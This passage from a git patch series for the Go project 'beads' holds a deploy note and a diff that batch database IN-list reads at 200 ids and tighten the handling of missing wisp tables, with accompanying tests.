SHA-identity invariant; the be-3vzut/be-5gizx/be-kh65q/be-heifp bead chain already establishes traceability internally, and the bead ids mean nothing to the upstream `gastownhall/beads` maintainers who will review the PR. + +**This waiver applies only to this deploy**, on the specific basis of proven diff-identity to be-5gizx's reviewed range. It does not generalize to any future trailerless commit lacking that same proof — per mayor's ruling, those must still be sent back for a trailer or separately escalated on their own evidence. + +## Merge authority + +`gastownhall/beads` is contributor-only for this rig — no rig agent has merge access. Per established precedent (be-gd3v, be-79jh, be-39ss, be-pp7e, be-r3ysh, be-krza3, be-vc1m [PR #5792], be-7q688 [PR #6003], be-6iglh/be-0l89e [PR #6082], be-c8kgv [PR #6221], be-1wwre [PR #6247]), the deployer's job ends at the open, verified PR regardless of gate outcome. No merge-request is routed to mayor. + +## Disposition + +7/7 — criterion 7 via bounded, auditable mayor waiver (not a self-granted bypass), all others raw PASS including a real full-suite test run at the exact deploy SHA. Proceeding to PR-open per contributor carve-out; no merge-request routing needed. From 91aeeb054856d9de19ae079500efe506f992fafc Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 12 Sep 2026 02:19:39 -0700 Subject: [PATCH 043/624] perf(storage/db): batch fetchIssuesByIDs, GetBlockingInfo and loadStatusByID at 200 ids; delete tolerates only a missing wisps table (#6444) * perf(storage/db): batch the bulk IN-list readers at 200 ids; export narrows the wisp-plane reads bd export on a 19,413-issue rig in proxied-server (UOW) mode took 264-287s. The cmd layer is bulk, but uowExportSource.LoadExportRelations handed ALL ids to the domain use cases, and the domain/db readers built ONE IN (...) list per statement: 19,409 placeholders each for labels, wisp_labels, wisp_comments rows and counts, dependencies counts and wisp_dependencies counts, at 24-60s a statement (~240s of the run). Dolt is super-linear in IN-list size, prepared or literal alike: on the same server the labels rows took 31s as one statement and 0.80s as 98 batches of 200; a 200-id batch is 3-7ms. The wisp readers were also handed every durable id (rows=0 back). - internal/storage/domain/db/batching.go: forEachIDBatch at queryBatchSize (200, mirroring issueops). commentSQLRepositoryImpl.CountsByIssueIDs / ListByIssueIDs, labelSQLRepositoryImpl.ListByIssueIDs, dependencySQLRepositoryImpl.ListByIssueIDs / CountsByIssueIDs and issueSQLRepositoryImpl.GetByIDs loop over batches and merge; an id lands in exactly one batch, so per-id groups and their ORDER BY survive. Error strings are byte-identical; empty input still issues no statement. The three hand-rolled loops (getLabelsFromTable, getDependencyRecordsFromTable, fetchCountsByIDs) collapse onto the helper. - cmd/bd/export_source.go: LoadExportRelations reads wisps-table membership once (WispPlaneIDs, now batched through GetByIDs) and sends only wisp ids to GetLabelsForWisps / GetCommentsForWisps / GetWispCommentCounts; CountsByWispIDs keeps every id because its inbound leg counts wisp->durable edges under the durable target. Membership that could not be read fails OPEN to every id (wispReaderIDs), never to "no wisps". - WispPlaneIDs now tolerates only a missing WISPS table (dberrors.IsMissingTable), not any table-not-exist: its read joins leases, and the blanket check reported a broken database as an empty wisp plane (the issue_search.go missingOptionalWispTable lesson). Behavior change on purpose: a rig missing leases now fails bd export with "failed to classify wisp-plane rows" instead of silently exporting without markers. Measured in the same clone against the same shared server, 19,433 rows: stock 264s / 266s / 287s -> batched 16.9s / 17.8s. Stock-vs-batched byte oracle: 19,363 of 19,433 records byte-identical; every differing record is a live lease/heartbeat field or an updated_at inside the seven minutes between the two runs. Tests: internal/storage/domain/db TestBulkReadersBatch (a recording Runner over the real Dolt suite: ceil(N/200) statements per leg, <=200 id placeholders each, merge across batch boundaries, the Types filter's extra placeholder, every reader routed to the wisp tables, GetByIDs, empty input), cmd/bd TestWispPlaneSubset + TestWispReaderIDs, and the proxied export integration fixture's wisp now carries a label and a comment that the --all export must emit. Follow-up (not here): fetchIssuesByIDs (SearchIssues Limit=0), GetBlockingInfo and loadStatusByID still build one unbounded IN list, and issue_delete.go's two GetByIDs(wisps) calls keep the blanket IsTableNotExist. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01RDjKMk7ubzrgpEDj2JRAbu * perf(storage/db): batch fetchIssuesByIDs, GetBlockingInfo and loadStatusByID at 200 ids; delete tolerates only a missing wisps table (wy-sm01o2) Follow-up to #6267 (wy-237yfi), whose own body names these three readers as the residual unbounded IN lists in internal/storage/domain/db. Dolt's cost per IN-list placeholder is super-linear, so one statement over N ids is far slower than ceil(N/200) statements over 200 each. - issue_search.go fetchIssuesByIDs: one SELECT per <=200-id batch, merged into the same map. `ordered` is the scan order concatenated across batches and hydration runs ONCE over the merged slice (hydrateIssues batches its own relation reads since #6267), so callers get the same map and the same hydration for one round trip per 200 ids instead of one 19k-placeholder statement (export's SearchIssues with Limit=0 reaches it with ~19k ids). The signature and the missing-wisp-table classification are unchanged. - dependency.go GetBlockingInfo: both legs batch through forEachIDBatch and their blockingRows are appended across batches; the merge that follows is untouched. Each leg keys its result by a column the IN list constrains (outbound issue_id, inbound the dependency target), and an id lands in exactly one batch, so every row sharing a key comes from the same batch. loadStatusByID batches its id list per table; the cross-plane duplicate-id error is unchanged, because an id is still recorded under `issues` before the `wisps` pass reaches it. GetBlockingInfoAcrossIssuesAndWisps needs no change: it only calls GetBlockingInfo twice and merges the maps. - issue_delete.go: previewDelete's and collectConnectedIssues' two GetByIDs(UseWispsTable) calls read `FROM wisps LEFT JOIN leases`, so their blanket dberrors.IsTableNotExist reported a rig missing `leases` as a rig with no wisp plane (previewDelete listed live wisps under NotFound; hydrateNeighbors returned them unhydrated). Both now tolerate only dberrors.IsMissingTable(err, "wisps"), the fix #6267 applied to WispPlaneIDs. The other IsTableNotExist sites in that file are left alone: they guard reads whose FROM is the optional table itself (wisp_dependencies via ListByIssueIDs(UseWispsTable)). Tests: internal/storage/domain/db TestBulkReadersBatch gains FetchIssuesByIDs (ceil(N/200) statements, <=200 placeholders, rows on both sides of a boundary merged, and exactly ONE label hydration over the merged slice), GetBlockingInfoOutbound, GetBlockingInfoInbound, LoadStatusByID (both planes, one statement per batch each) and LoadStatusByIDDuplicateAcrossTables; the empty-input subtest now covers all three readers issuing no statement. internal/storage/domain/issue_delete_missing_table_test.go proves a missing `leases` (or `wisp_labels`) is no longer swallowed at either GetByIDs(wisps) site while a missing `wisps` table still is, with an unrelated-error control. Co-Authored-By: Claude Opus 5 * test(storage/db): consume the aborted duplicate-plane run's statements inside its own subtest (wy-sm01o2) Salvaged WIP from the quota-killed executor (session-limit at 00:19Z): the duplicate-plane loadStatusByID call aborts mid-run, so reset the recorder before it and assert its statements under the cap in place, rather than leaving them to pollute the next subtest. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01Rrz4umA2L5QU8s9EmCBPw8 * docs(cmd/bd): correct the LoadExportRelations plane-partition doc block The header still documented pre-PR full-set wisp reads ("both planes are queried with the FULL ID set and merged"), which this PR made false for the wisp side. That block is the load-bearing record of the plane-partition invariant, so a future editor trusting it could "restore" full-set wisp reads and silently undo the wy-237yfi fix. - The first bullet now describes the partitioned reads: membership is read from the wisps table itself (WispPlaneIDs) rather than inferred from row flags, the durable plane is queried with the full id set, the wisp plane only with that membership subset (wispReaderIDs), and unreadable membership fails OPEN to the full list. The "row flags are NOT a substitute" rationale is kept deliberately: it is *why* membership is read from the table at all. - The IsTableNotExist sentence is extended, not replaced. It is still true of the three single-table wisp-relation readers, which correctly keep the blanket check; only the lease-joined membership probe (WispPlaneIDs) is pinned to a missing `wisps` table. Replacing the sentence outright would have introduced a new inaccuracy. Maintainer review fixup for adopt-pr #6444. Documentation only: the tree is AST-identical after stripping comments, so no behavior can change. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- cmd/bd/export_proxied_integration_test.go | 24 ++ cmd/bd/export_source.go | 78 +++- cmd/bd/export_source_wisp_subset_test.go | 43 ++ internal/storage/domain/db/batching.go | 26 ++ internal/storage/domain/db/batching_test.go | 394 ++++++++++++++++++ internal/storage/domain/db/comment.go | 117 +++--- internal/storage/domain/db/dependency.go | 162 ++++--- internal/storage/domain/db/issue.go | 48 +-- internal/storage/domain/db/issue_search.go | 98 +++-- .../storage/domain/db/issue_search_counts.go | 14 +- internal/storage/domain/db/label.go | 54 ++- internal/storage/domain/issue_delete.go | 11 +- .../domain/issue_delete_missing_table_test.go | 153 +++++++ 13 files changed, 976 insertions(+), 246 deletions(-) create mode 100644 cmd/bd/export_source_wisp_subset_test.go create mode 100644 internal/storage/domain/db/batching.go create mode 100644 internal/storage/domain/db/batching_test.go create mode 100644 internal/storage/domain/issue_delete_missing_table_test.go diff --git a/cmd/bd/export_proxied_integration_test.go b/cmd/bd/export_proxied_integration_test.go index 74296bf3f..cf695e1ec 100644 --- a/cmd/bd/export_proxied_integration_test.go +++ b/cmd/bd/export_proxied_integration_test.go @@ -107,6 +107,15 @@ func seedProxiedExportFixture(t *testing.T, bd string, p proxiedProject) exportP // Ephemeral wisp: excluded from default export, included with --all. fx.wisp = bdProxiedCreateSilent(t, bd, p.dir, "Ephemeral heartbeat", "--ephemeral", "--wisp-type", "heartbeat") + // Relations on the wisp: the --all export must carry them, which is what + // pins the UOW plane partition (only wisp ids reach the wisp readers, + // wy-237yfi) against the classic-mode oracle. + if out, err := bdProxiedRun(t, bd, p.dir, "label", "add", fx.wisp, "wisp-label"); err != nil { + t.Fatalf("label add on wisp: %v\n%s", err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "comment", fx.wisp, "wisp comment"); err != nil { + t.Fatalf("comment on wisp: %v\n%s", err, out) + } // Infra-typed bead (message): auto-routed to the ephemeral plane and an // infra type, so default export must exclude it and --all include it. @@ -409,6 +418,21 @@ func TestProxiedServerExport(t *testing.T) { if len(keys) != 2 || keys[0] != "aardvark" || keys[1] != "zebra" { t.Errorf("--all export memories = %v, want [aardvark zebra] (sorted)", keys) } + // The wisp's own relations ride along: a misclassified plane would + // drop them silently while the id above still passes. + for _, rec := range records { + if rec["id"] != fx.wisp { + continue + } + labels, _ := rec["labels"].([]any) + if len(labels) != 1 || labels[0] != "wisp-label" { + t.Errorf("--all export wisp %s labels = %v, want [wisp-label]", fx.wisp, rec["labels"]) + } + comments, _ := rec["comments"].([]any) + if len(comments) != 1 { + t.Errorf("--all export wisp %s comments = %v, want one", fx.wisp, rec["comments"]) + } + } }) t.Run("include_memories_after_issues_sorted", func(t *testing.T) { diff --git a/cmd/bd/export_source.go b/cmd/bd/export_source.go index 6eb0c08b9..df4e4acfd 100644 --- a/cmd/bd/export_source.go +++ b/cmd/bd/export_source.go @@ -207,10 +207,14 @@ func (s *uowExportSource) GetAllConfig(ctx context.Context) (map[string]string, // by wisps-table membership (issueops.PartitionWispIDsInTx). Row flags are // NOT a substitute for that partition — a promoted no-history wisp is a // durable issues-table row that (as wild data from the pre-bd-r9uce -// promote) still carries NoHistory=true — so both -// planes are queried with the FULL ID set and merged. The planes are -// ID-disjoint (GH#4455 cross-table guard), so at most one plane returns -// rows for any id and the merge cannot collide. +// promote) still carries NoHistory=true — so membership is read from the +// wisps table itself (WispPlaneIDs), never inferred. The durable plane is +// then queried with the FULL ID set and the wisp plane only with that +// membership subset (wispReaderIDs), and the two are merged. Unreadable +// membership fails OPEN to the full id list, so a nil set is never +// mistaken for "no wisps" (wy-237yfi). The planes are ID-disjoint +// (GH#4455 cross-table guard), so at most one plane returns rows for any +// id and the merge cannot collide. // - Dependency records: domain GetIssueDependencyRecords already partitions // internally (same issueops helper), so one call covers both planes. // - Dependency counts: classic GetDependencyCountsInTx queries BOTH dep @@ -219,7 +223,12 @@ func (s *uowExportSource) GetAllConfig(ctx context.Context) (map[string]string, // queried for the full ID set and summed here too. // // Wisp-plane reads tolerate a rig without the wisp tables (IsTableNotExist), -// mirroring the dependency-counts leg. +// mirroring the dependency-counts leg. The three wisp-relation readers below +// keep that blanket check: each is a single-table read, so blanket and +// table-specific are the same test there. The membership probe is the +// exception — WispPlaneIDs renders FROM wisps LEFT JOIN leases, so its +// tolerance is pinned to a missing `wisps` table and a broken database +// surfaces as an error instead of an empty wisp plane. func (s *uowExportSource) LoadExportRelations(ctx context.Context, issues []*types.Issue) (exportRelations, error) { rel := exportRelations{ labels: map[string][]string{}, @@ -259,7 +268,24 @@ func (s *uowExportSource) LoadExportRelations(ctx context.Context, issues []*typ } mergeExportMap(rel.commentCounts, counts) - wispLabels, err := s.uw.LabelUseCase().GetLabelsForWisps(ctx, allIDs) //nolint:forbidigo // bulk relation load; see GetLabelsForIssues above + // The wisp_labels / wisp_comments rows of a wisp are keyed by an issue_id + // that lives in the WISPS table (promotion moves them to the durable + // tables, issueops.PromoteFromEphemeralInTx), so the three wisp readers + // below only need the ids that are wisps right now. Handing them the + // whole workspace was pure waste — on a 19k-issue rig with no wisps it + // was three 19k-placeholder statements answering nothing (wy-237yfi). + // CountsByWispIDs is NOT narrowed: its inbound leg counts wisp -> durable + // edges under the durable target's id. + // A nil set means membership could NOT be read (the wisps table is + // absent, the tolerated case) — never "no wisps": fail open to the full + // id list so the readers below keep their own table-not-exist tolerance. + wispSet, err := s.WispPlaneIDs(ctx, allIDs) + if err != nil { + return exportRelations{}, err + } + wispIDs := wispReaderIDs(allIDs, wispSet) + + wispLabels, err := s.uw.LabelUseCase().GetLabelsForWisps(ctx, wispIDs) //nolint:forbidigo // bulk relation load; see GetLabelsForIssues above if err != nil { if !dberrors.IsTableNotExist(err) { return exportRelations{}, fmt.Errorf("load wisp labels: %w", err) @@ -267,7 +293,7 @@ func (s *uowExportSource) LoadExportRelations(ctx context.Context, issues []*typ } else { mergeExportMap(rel.labels, wispLabels) } - wispComments, err := s.uw.CommentUseCase().GetCommentsForWisps(ctx, allIDs) + wispComments, err := s.uw.CommentUseCase().GetCommentsForWisps(ctx, wispIDs) if err != nil { if !dberrors.IsTableNotExist(err) { return exportRelations{}, fmt.Errorf("load wisp comments: %w", err) @@ -275,7 +301,7 @@ func (s *uowExportSource) LoadExportRelations(ctx context.Context, issues []*typ } else { mergeExportMap(rel.comments, wispComments) } - wispCounts, err := s.uw.CommentUseCase().GetWispCommentCounts(ctx, allIDs) + wispCounts, err := s.uw.CommentUseCase().GetWispCommentCounts(ctx, wispIDs) if err != nil { if !dberrors.IsTableNotExist(err) { return exportRelations{}, fmt.Errorf("load wisp comment counts: %w", err) @@ -319,17 +345,47 @@ func (s *uowExportSource) LoadExportRelations(ctx context.Context, issues []*typ return rel, nil } +// wispPlaneSubset returns, in input order, the ids that wispSet marks as +// wisp-plane; none marked yields nil, and the bulk readers answer nil with no +// statement at all. The caller decides what a nil SET means (see +// LoadExportRelations: unreadable membership fails open, never empty). +func wispPlaneSubset(ids []string, wispSet map[string]bool) []string { + var out []string + for _, id := range ids { + if wispSet[id] { + out = append(out, id) + } + } + return out +} + +// wispReaderIDs is the caller-side policy wispPlaneSubset defers: a nil set +// means membership was UNREADABLE (WispPlaneIDs tolerated a missing wisps +// table), so every id goes to the wisp readers and they keep their own +// table-not-exist tolerance; a non-nil set — even an empty one — is the +// answer, and only the ids in it go. +func wispReaderIDs(ids []string, wispSet map[string]bool) []string { + if wispSet == nil { + return ids + } + return wispPlaneSubset(ids, wispSet) +} + // WispPlaneIDs classifies by wisps-table membership through the plane-pinned // GetWispsByIDs read (row flags are NOT a substitute — see the exportSource -// interface comment). A rig without the wisp tables has no wisp-plane rows, -// mirroring the tolerance of the wisp-plane legs in LoadExportRelations. +// interface comment). A rig without the wisps table has no wisp-plane rows +// (nil set), mirroring the tolerance of the wisp-plane legs in +// LoadExportRelations. Only the WISPS table is optional: the read joins +// leases, and a blanket table-not-exist check would report a broken +// database as an empty wisp plane (the issue_search.go missingOptionalWispTable +// lesson), so the tolerance is pinned to that one table name. func (s *uowExportSource) WispPlaneIDs(ctx context.Context, ids []string) (map[string]bool, error) { if len(ids) == 0 { return nil, nil } wisps, err := s.uw.IssueUseCase().GetWispsByIDs(ctx, ids) if err != nil { - if dberrors.IsTableNotExist(err) { + if dberrors.IsMissingTable(err, "wisps") { return nil, nil } return nil, fmt.Errorf("wisp plane membership: %w", err) diff --git a/cmd/bd/export_source_wisp_subset_test.go b/cmd/bd/export_source_wisp_subset_test.go new file mode 100644 index 000000000..042d7a064 --- /dev/null +++ b/cmd/bd/export_source_wisp_subset_test.go @@ -0,0 +1,43 @@ +package main + +import ( + "reflect" + "testing" +) + +// wispPlaneSubset feeds the wisp-plane relation readers in +// uowExportSource.LoadExportRelations: only ids that live in the wisps table +// go to them, in input order; a set that marks none sends nothing, so those +// readers issue no statement at all (wy-237yfi). +func TestWispPlaneSubset(t *testing.T) { + ids := []string{"a", "b", "c", "d"} + + if got := wispPlaneSubset(ids, map[string]bool{}); got != nil { + t.Fatalf("empty set: want nil, got %v", got) + } + got := wispPlaneSubset(ids, map[string]bool{"d": true, "b": true, "zz": true, "a": false}) + if !reflect.DeepEqual(got, []string{"b", "d"}) { + t.Fatalf("want [b d] in input order, got %v", got) + } + if got := wispPlaneSubset(nil, map[string]bool{"a": true}); got != nil { + t.Fatalf("no ids: want nil, got %v", got) + } +} + +// wispReaderIDs is the policy on top: a nil set is "membership unreadable" +// and must FAIL OPEN to every id — narrowing on it would silently export +// every wisp with no labels and no comments — while a non-nil empty set is a +// real answer (no wisps) and sends nothing. +func TestWispReaderIDs(t *testing.T) { + ids := []string{"a", "b", "c"} + + if got := wispReaderIDs(ids, nil); !reflect.DeepEqual(got, ids) { + t.Fatalf("nil set must fail open to all ids, got %v", got) + } + if got := wispReaderIDs(ids, map[string]bool{}); got != nil { + t.Fatalf("empty non-nil set means no wisps: want nil, got %v", got) + } + if got := wispReaderIDs(ids, map[string]bool{"c": true}); !reflect.DeepEqual(got, []string{"c"}) { + t.Fatalf("want [c], got %v", got) + } +} diff --git a/internal/storage/domain/db/batching.go b/internal/storage/domain/db/batching.go new file mode 100644 index 000000000..c48e4b6bd --- /dev/null +++ b/internal/storage/domain/db/batching.go @@ -0,0 +1,26 @@ +package db + +// forEachIDBatch calls fn once per queryBatchSize-sized slice of ids, in +// order, stopping at the first error. The bulk readers use it to keep every +// IN (...) list bounded: Dolt's cost per IN-list placeholder is super-linear, +// so one statement over N ids is far slower than ceil(N/queryBatchSize) +// statements over queryBatchSize each (measured on a 19k-issue rig: the same +// labels rows took 31s as one statement and 0.8s as 98 batched ones). +// +// A given id lands in exactly one batch, so per-id result groups — and the +// ORDER BY within each group — survive being merged across batches. +// +// Read paths only: the DeleteAllForIDs loops keep their own deleteBatchSize +// and are deliberately left open-coded. +func forEachIDBatch(ids []string, fn func(batch []string) error) error { + for start := 0; start < len(ids); start += queryBatchSize { + end := start + queryBatchSize + if end > len(ids) { + end = len(ids) + } + if err := fn(ids[start:end]); err != nil { + return err + } + } + return nil +} diff --git a/internal/storage/domain/db/batching_test.go b/internal/storage/domain/db/batching_test.go new file mode 100644 index 000000000..315d02634 --- /dev/null +++ b/internal/storage/domain/db/batching_test.go @@ -0,0 +1,394 @@ +package db + +import ( + "context" + "database/sql" + "fmt" + "strings" + "sync" + "time" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// recordingRunner delegates to a real Runner and records every statement it +// is asked to run, so a test can assert on how many round trips a bulk +// reader made and how many placeholders each one carried. +type recordingRunner struct { + Runner + mu sync.Mutex + calls []recordedCall +} + +type recordedCall struct { + query string + nargs int +} + +func (r *recordingRunner) record(query string, args []any) { + r.mu.Lock() + defer r.mu.Unlock() + r.calls = append(r.calls, recordedCall{query: query, nargs: len(args)}) +} + +func (r *recordingRunner) QueryContext(ctx context.Context, query string, args ...any) (*sql.Rows, error) { + r.record(query, args) + return r.Runner.QueryContext(ctx, query, args...) +} + +func (r *recordingRunner) QueryRowContext(ctx context.Context, query string, args ...any) *sql.Row { + r.record(query, args) + return r.Runner.QueryRowContext(ctx, query, args...) +} + +func (r *recordingRunner) reset() []recordedCall { + r.mu.Lock() + defer r.mu.Unlock() + out := r.calls + r.calls = nil + return out +} + +// TestBulkReadersBatch pins the fence wy-237yfi built: the bulk relation +// readers (comment, label, dependency) and GetByIDs send at most +// queryBatchSize ids per IN list, in ceil(N/queryBatchSize) statements per +// query leg, and merge the batches into one result that is indistinguishable +// from a single statement over all N ids. Dolt is super-linear in IN-list size (a 19k-id list took 24-60s +// per statement on the constellation's rig; 200-id batches take ~5ms each), +// so the placeholder cap is the property, not the statement count. +func (s *testSuite) TestBulkReadersBatch() { + const n = queryBatchSize*2 + 50 // three batches: 200, 200, 50 + ids := make([]string, n) + for i := range ids { + ids[i] = fmt.Sprintf("bd-batch-%03d", i) + } + // Relations sit on the ids at each batch boundary so a merge that + // dropped or duplicated a batch would show up in the result. + seeded := []int{0, queryBatchSize - 1, queryBatchSize, n - 1} + for _, i := range seeded { + s.seedIssueRow(ids[i]) + } + wantBatches := (n + queryBatchSize - 1) / queryBatchSize + + rec := &recordingRunner{Runner: s.Runner()} + comments := NewCommentSQLRepository(rec) + labels := NewLabelSQLRepository(rec) + deps := NewDependencySQLRepository(rec) + + base := time.Date(2026, time.September, 4, 0, 0, 0, 0, time.UTC) + for k, i := range seeded { + for j := 0; j <= k; j++ { + s.seedComment(ids[i], "tester", fmt.Sprintf("c%d", j), base.Add(time.Duration(j)*time.Second)) + } + s.Require().NoError(labels.Insert(s.Ctx(), ids[i], fmt.Sprintf("l%d", k), "tester", domain.LabelOpts{})) + } + // ids[0] blocks ids[n-1] (crosses batches 1 and 3); ids[200] blocks + // ids[199] (crosses batches 2 and 1). + s.Require().NoError(deps.Insert(s.Ctx(), newDep(ids[n-1], ids[0], types.DepBlocks), "tester", domain.DepInsertOpts{})) + s.Require().NoError(deps.Insert(s.Ctx(), newDep(ids[queryBatchSize-1], ids[queryBatchSize], types.DepBlocks), "tester", domain.DepInsertOpts{})) + rec.reset() + + // extra is the number of non-id placeholders a leg carries (a type + // filter); the id list itself is what the cap is about. + assertBatchedExtra := func(name string, legs, extra int) { + calls := rec.reset() + s.Require().Len(calls, wantBatches*legs, "%s: statements issued", name) + for _, c := range calls { + s.LessOrEqual(c.nargs, queryBatchSize+extra, "%s: bound args in one statement", name) + s.LessOrEqual(strings.Count(c.query, "?"), queryBatchSize+extra, "%s: placeholders in one statement", name) + s.Contains(c.query, " IN (", "%s: every leg is an IN-list read", name) + } + } + assertBatched := func(name string, legs int) { assertBatchedExtra(name, legs, 0) } + + // countMatching reports how many recorded statements contain sub — the + // readers below issue more than one KIND of statement per call (two + // dependency legs, then a status lookup per plane), so their legs are + // counted by shape rather than by a flat statement total. + countMatching := func(calls []recordedCall, sub string) int { + n := 0 + for _, c := range calls { + if strings.Contains(c.query, sub) { + n++ + } + } + return n + } + // assertUnderCap is the half of the theorem that holds for EVERY leg: no + // statement carries more than queryBatchSize id placeholders. + assertUnderCap := func(name string, calls []recordedCall) { + for _, c := range calls { + s.LessOrEqual(c.nargs, queryBatchSize, "%s: bound args in one statement", name) + s.LessOrEqual(strings.Count(c.query, "?"), queryBatchSize, "%s: placeholders in one statement", name) + } + } + + s.Run("CommentCounts", func() { + out, err := comments.CountsByIssueIDs(s.Ctx(), ids, domain.CommentOpts{}) + s.Require().NoError(err) + assertBatched("CountsByIssueIDs", 1) + s.Len(out, len(seeded)) + for k, i := range seeded { + s.Equal(k+1, out[ids[i]], "count for %s", ids[i]) + } + }) + + s.Run("CommentList", func() { + out, err := comments.ListByIssueIDs(s.Ctx(), ids, domain.CommentOpts{}) + s.Require().NoError(err) + assertBatched("ListByIssueIDs", 1) + s.Len(out, len(seeded)) + for k, i := range seeded { + got := out[ids[i]] + s.Require().Len(got, k+1, "comments for %s", ids[i]) + for j, c := range got { + s.Equal(fmt.Sprintf("c%d", j), c.Text, "order preserved within %s", ids[i]) + } + } + }) + + s.Run("Labels", func() { + out, err := labels.ListByIssueIDs(s.Ctx(), ids, domain.LabelOpts{}) + s.Require().NoError(err) + assertBatched("Labels.ListByIssueIDs", 1) + s.Len(out, len(seeded)) + for k, i := range seeded { + s.Equal([]string{fmt.Sprintf("l%d", k)}, out[ids[i]]) + } + }) + + s.Run("DependencyList", func() { + out, err := deps.ListByIssueIDs(s.Ctx(), ids, domain.DepListOpts{Direction: domain.DepDirectionBoth}) + s.Require().NoError(err) + assertBatched("Deps.ListByIssueIDs", 2) + s.Len(out.Outgoing, 2) + s.Len(out.Incoming, 2) + s.Require().Len(out.Outgoing[ids[n-1]], 1) + s.Equal(ids[0], out.Outgoing[ids[n-1]][0].DependsOnID) + s.Require().Len(out.Incoming[ids[0]], 1) + s.Equal(ids[n-1], out.Incoming[ids[0]][0].IssueID) + s.Require().Len(out.Outgoing[ids[queryBatchSize-1]], 1) + s.Require().Len(out.Incoming[ids[queryBatchSize]], 1) + }) + + s.Run("DependencyCounts", func() { + out, err := deps.CountsByIssueIDs(s.Ctx(), ids, domain.DepCountsOpts{}) + s.Require().NoError(err) + assertBatched("Deps.CountsByIssueIDs", 2) + s.Len(out, n, "every requested id is present, zero or not") + s.Equal(&types.DependencyCounts{DependencyCount: 1}, out[ids[n-1]]) + s.Equal(&types.DependencyCounts{DependentCount: 1}, out[ids[0]]) + s.Equal(&types.DependencyCounts{DependencyCount: 1}, out[ids[queryBatchSize-1]]) + s.Equal(&types.DependencyCounts{DependentCount: 1}, out[ids[queryBatchSize]]) + s.Equal(&types.DependencyCounts{}, out[ids[1]]) + }) + + s.Run("DependencyListTypeFilter", func() { + // typeArgs ride along after the id args in EVERY batch, so the + // filter must hold across all three and the placeholder cap grows + // by exactly the filter's width. + s.Require().NoError(deps.Insert(s.Ctx(), newDep(ids[0], ids[queryBatchSize], types.DepRelated), "tester", domain.DepInsertOpts{})) + rec.reset() + out, err := deps.ListByIssueIDs(s.Ctx(), ids, domain.DepListOpts{ + Direction: domain.DepDirectionBoth, + Types: []types.DependencyType{types.DepBlocks}, + }) + s.Require().NoError(err) + assertBatchedExtra("Deps.ListByIssueIDs(Types)", 2, 1) + s.Require().Len(out.Outgoing[ids[0]], 0, "the related edge is filtered out in batch 1") + s.Require().Len(out.Incoming[ids[queryBatchSize]], 1, "only the blocks edge survives in batch 2") + s.Equal(types.DepBlocks, out.Incoming[ids[queryBatchSize]][0].Type) + s.Require().Len(out.Outgoing[ids[n-1]], 1) + }) + + s.Run("WispPlane", func() { + // One wisp in the middle batch; every reader routed to the wisp + // tables must batch the same way and find it. + wisp := ids[queryBatchSize+50] + s.seedWispRow(wisp) + s.seedWispComment(wisp, "tester", "w0", base) + s.seedWispComment(wisp, "tester", "w1", base.Add(time.Second)) + s.Require().NoError(labels.Insert(s.Ctx(), wisp, "wl", "tester", domain.LabelOpts{UseWispsTable: true})) + // wisp -> durable edge: wisp_dependencies(issue_id -> wisps, target -> issues). + s.Require().NoError(deps.Insert(s.Ctx(), newDep(wisp, ids[0], types.DepBlocks), "tester", domain.DepInsertOpts{UseWispsTable: true})) + rec.reset() + + counts, err := comments.CountsByIssueIDs(s.Ctx(), ids, domain.CommentOpts{UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp CountsByIssueIDs", 1) + s.Equal(map[string]int{wisp: 2}, counts) + + list, err := comments.ListByIssueIDs(s.Ctx(), ids, domain.CommentOpts{UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp ListByIssueIDs", 1) + s.Require().Len(list, 1) + s.Require().Len(list[wisp], 2) + s.Equal("w0", list[wisp][0].Text) + + wl, err := labels.ListByIssueIDs(s.Ctx(), ids, domain.LabelOpts{UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp Labels.ListByIssueIDs", 1) + s.Equal(map[string][]string{wisp: {"wl"}}, wl) + + dl, err := deps.ListByIssueIDs(s.Ctx(), ids, domain.DepListOpts{Direction: domain.DepDirectionBoth, UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp Deps.ListByIssueIDs", 2) + s.Require().Len(dl.Outgoing[wisp], 1) + s.Equal(ids[0], dl.Outgoing[wisp][0].DependsOnID) + s.Require().Len(dl.Incoming[ids[0]], 1, "the durable target's inbound wisp edge lives in wisp_dependencies") + + dc, err := deps.CountsByIssueIDs(s.Ctx(), ids, domain.DepCountsOpts{UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp Deps.CountsByIssueIDs", 2) + s.Equal(&types.DependencyCounts{DependencyCount: 1}, dc[wisp]) + s.Equal(&types.DependencyCounts{DependentCount: 1}, dc[ids[0]]) + + issues := NewIssueSQLRepository(rec) + rec.reset() + got, err := issues.GetByIDs(s.Ctx(), ids, domain.IssueTableOpts{UseWispsTable: true}) + s.Require().NoError(err) + assertBatched("wisp GetByIDs", 1) + s.Require().Len(got, 1) + s.Equal(wisp, got[0].ID) + }) + + s.Run("GetByIDs", func() { + issues := NewIssueSQLRepository(rec) + rec.reset() + got, err := issues.GetByIDs(s.Ctx(), ids, domain.IssueTableOpts{}) + s.Require().NoError(err) + assertBatched("GetByIDs", 1) + s.Require().Len(got, len(seeded), "one row per seeded durable id, across all three batches") + gotIDs := make(map[string]bool, len(got)) + for _, iss := range got { + gotIDs[iss.ID] = true + } + for _, i := range seeded { + s.True(gotIDs[ids[i]], "%s present", ids[i]) + } + }) + + s.Run("FetchIssuesByIDs", func() { + // The residual reader behind export's SearchIssues(Limit=0): one + // unbounded IN list over every hit id before wy-sm01o2. + repo := &issueSQLRepositoryImpl{runner: rec} + rec.reset() + byID, err := repo.fetchIssuesByIDs(s.Ctx(), ids, issuesFilterTables, types.IssueFilter{SkipLabels: true}) + s.Require().NoError(err) + assertBatched("fetchIssuesByIDs", 1) + s.Require().Len(byID, len(seeded), "one row per seeded durable id, merged across all three batches") + for _, i := range seeded { + s.Require().NotNil(byID[ids[i]], "%s present in the merged map", ids[i]) + } + + // Hydration runs ONCE over the MERGED rows. Rows were scanned in all + // three batches, so a hydration moved inside the batch loop would + // issue three label reads here instead of one. + rec.reset() + 